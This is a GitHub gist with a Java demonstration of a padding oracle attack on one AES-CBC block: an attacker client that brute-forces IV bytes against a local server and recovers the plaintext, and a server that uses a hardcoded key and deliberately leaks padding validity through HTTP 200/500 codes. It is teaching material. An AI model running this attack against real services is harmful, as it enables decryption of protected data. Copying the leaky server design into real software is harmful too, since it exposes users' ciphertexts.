Skip to content

Instantly share code, notes, and snippets.

@ThierryAbalea
Created July 7, 2014 23:14
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save ThierryAbalea/9aa0e18f4d16a978d40e to your computer and use it in GitHub Desktop.
Save ThierryAbalea/9aa0e18f4d16a978d40e to your computer and use it in GitHub Desktop.
[Cryptography] Oracle Padding Attack on one block (v1.1)
import javax.xml.bind.DatatypeConverter;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.Arrays;
public class AttackerClient {
public static final int BLOCK_SIZE = 16;
public final static byte[] IV = {
-92, -59, -117, 88, -22, -48, 28, 10, 91, -116, 35, 61, 75, -88, -111, 48};
public final static byte[] CIPHER_TEXT = {
-88, -119, -121, -87, -69, 94, -118, -99, 34, 118, -45, -100, -41, -94, 95, 69};
public static final int HTTP_PORT = 8080;
public static final int OK_CODE = 200;
private static int decryptedMessagesSent = 0;
public static void main(String[] args) throws Exception {
decrypt();
}
private static void decrypt() throws Exception {
byte[] intermediate = new byte[BLOCK_SIZE];
byte[] plaintext = new byte[BLOCK_SIZE];
for (int byteIndex = BLOCK_SIZE - 1; byteIndex >= 0; byteIndex--) {
int paddingByte = BLOCK_SIZE - byteIndex;
byte[] previousCipherText = new byte[BLOCK_SIZE];
for (int i = BLOCK_SIZE - 1; i > byteIndex; i--) {
previousCipherText[i] = (byte) (intermediate[i] ^ paddingByte);
}
byte lastByte = computeByteWithValidPadding(previousCipherText, byteIndex);
intermediate[byteIndex] = (byte) (lastByte ^ paddingByte);
plaintext[byteIndex] = (byte) (intermediate[byteIndex] ^ IV[byteIndex]);
}
byte[] plaintextWithoutPadding = Arrays.copyOf(plaintext, BLOCK_SIZE - plaintext[BLOCK_SIZE - 1]);
System.out.println("\nplaintext: " + new String(plaintextWithoutPadding));
}
private static byte computeByteWithValidPadding(byte[] iv, int byteIndex) throws Exception {
byte lastByte = 0;
boolean goodPadding = false;
while (!goodPadding) {
iv[byteIndex] = lastByte;
byte[] encryptedMessage = new byte[iv.length + CIPHER_TEXT.length];
System.arraycopy(iv, 0, encryptedMessage, 0, iv.length);
System.arraycopy(CIPHER_TEXT, 0, encryptedMessage, iv.length, CIPHER_TEXT.length);
System.out.print("\rencrypted message sent to the server: " +
DatatypeConverter.printHexBinary(encryptedMessage) + ", # of messages: " + decryptedMessagesSent++);
// slow down the process to have a better display effect
Thread.sleep(4);
String encodedEncryptedMessage = DatatypeConverter.printBase64Binary(encryptedMessage);
URL url = new URL("http://localhost:" + HTTP_PORT + "/send?encryptedMessage=" + encodedEncryptedMessage);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
int responseCode = connection.getResponseCode();
connection.disconnect();
if (responseCode == OK_CODE) {
goodPadding = true;
} else {
lastByte++;
}
}
return lastByte;
}
}
import com.sun.net.httpserver.Headers;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import javax.xml.bind.DatatypeConverter;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.security.GeneralSecurityException;
import java.security.InvalidKeyException;
public class VulnerableServer {
public static final int BLOCK_SIZE = 16;
public final static byte[] KEY = {
65, -36, -117, -28, 20, 35, 92, 74, 3, 119, 110, -120, -103, -25, -23, -65,
-44, 114, 45, -73, 33, 13, -120, 104, 70, 101, -29, 42, -128, 22, -32, -30};
public static final int HTTP_PORT = 8080;
public static final int OK_CODE = 200;
public static final int INTERNAL_ERROR_CODE = 500;
public static void main(String[] args) throws IOException {
InetSocketAddress addr = new InetSocketAddress(HTTP_PORT);
HttpServer server = HttpServer.create(addr, 0);
server.createContext("/", new CryptoHttpHandler());
server.start();
System.out.println("Server is listening on port " + HTTP_PORT);
}
private static class CryptoHttpHandler implements HttpHandler {
private int numberOfDecryptions = 0;
public void handle(HttpExchange exchange) throws IOException {
String requestMethod = exchange.getRequestMethod();
if (requestMethod.equalsIgnoreCase("GET")) {
String query = exchange.getRequestURI().getQuery();
String encodedEncryptedMessage = query.substring(query.indexOf('=') + 1, query.length());
byte[] encryptedMessage = DatatypeConverter.parseBase64Binary(encodedEncryptedMessage);
byte[] iv = new byte[BLOCK_SIZE];
System.arraycopy(encryptedMessage, 0, iv, 0, BLOCK_SIZE);
byte[] cipherText = new byte[BLOCK_SIZE];
System.arraycopy(encryptedMessage, BLOCK_SIZE, cipherText, 0, BLOCK_SIZE);
int statusCode;
try {
decrypt(cipherText, iv);
statusCode = OK_CODE;
} catch (InvalidKeyException exc) {
if ("Illegal key size".equals(exc.getMessage())) {
System.out.println("In order to support 256-bit keys, install " +
"the Java Cryptography Extension (JCE) Unlimited Strength Jurisdiction Policy Files\n" +
"For the JSE 7, go there http://www.oracle.com/technetwork/java/javase/downloads/jce-7-download-432124.html");
System.exit(-1);
}
statusCode = INTERNAL_ERROR_CODE;
} catch (GeneralSecurityException exc) {
// javax.crypto.BadPaddingException implements GeneralSecurityException
statusCode = INTERNAL_ERROR_CODE;
}
numberOfDecryptions++;
if (numberOfDecryptions % 100 == 0) {
System.out.print(".");
}
Headers responseHeaders = exchange.getResponseHeaders();
responseHeaders.set("Content-Type", "text/plain");
exchange.sendResponseHeaders(statusCode, 0);
exchange.close();
}
}
}
public static byte[] decrypt(byte[] cipherText, byte[] iv) throws GeneralSecurityException {
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.DECRYPT_MODE, new SecretKeySpec(KEY, "AES"), new IvParameterSpec(iv));
return cipher.doFinal(cipherText);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment